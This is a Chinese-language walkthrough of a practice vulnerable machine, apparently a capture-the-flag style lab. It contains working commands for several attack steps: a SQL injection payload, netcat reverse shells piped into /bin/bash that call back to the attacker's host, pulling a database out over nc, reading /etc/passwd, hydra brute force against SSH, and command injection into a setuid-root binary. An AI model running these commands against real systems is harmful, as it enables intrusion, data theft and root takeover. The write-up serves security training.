- 靶机地址
- 难度:低
知识点
- 端口扫描
- WEB侦查
- SQL注入
- 命令注入
- 密码爆破
- 代码审计
- NC串联
- 本地提权
步骤
- 主机发现
for i in $(seq 1 254); do sudo arping -c 2 192.168.2.$i; done
- 端口扫描
- 扫描服务及版本
- nmap -p22,8080 -sV 192.168.2.113
- 发现8080是一个WEB服务
- BP抓包,用字符字典跑一下
- 报错:’select * from code where password=”‘ + password + ‘“‘
- 对报错语句分析
- select * from code where password=” + password + “
- 输入的 “ 会代入 password中报错
- 进行注入
- select * from code where password=” + “ or 1=1 – + “
- 测试
" or 1=1 --
成功注入
- 进入的页面是输入文件,就对其进行扫描,测试命令执行
- 反弹shell
- 先查看有没有nc
- 攻击机先监听:nc -nvlp 4444
- 测试nc的版本支不支持 -e 参数
- cat | nc 192.168.2.33 4444 -e /bin/bash
- cat | nc 192.168.2.33 4444
- 第一条不成功,第二条成功
- 使用 nc 串联
- 攻击机监听 nc -nvlp 3333 和 nc -nvlp 4444
- cat | nc 192.168.2.33 3333 | /bin/bash | nc 192.168.2.33 4444
- 在 3333 的容器输入命令,在 4444 的窗口回显结果
- 查看了一些文件后,发面有个sqlite的文件在上无法查看,把它下下来
- nc -nvlp 5555 > db.sql
- 在shell中输入 nc 192.168.2.33 < database.sql
- 在kali上查看sqlite文件
- sqlite3
- .open db.sql
- .database
- .dump
- 发现4个密码,记录passwd.txt
- 查找账号
- cat /etc/passwd
- cat /etc/passwd | grep /bin/bash
- 确定了3个账号可用,记录user.txt
- SSH爆破
- hydra -L user.txt -P passwd.txt ssh://192.168.2.113
- 爆破失败
- 在上一级目录发现 update_cloudav 的文件和 .c源代码
- update_cloudav有s标记位,且属主为root
- 先查看源代码
- 测试程序:./update_cloudav a
- 测试payload:./update_cloudav “a | nc 192.168.2.33 5555 | /bin/bash | nc 192.168.2.33 6666”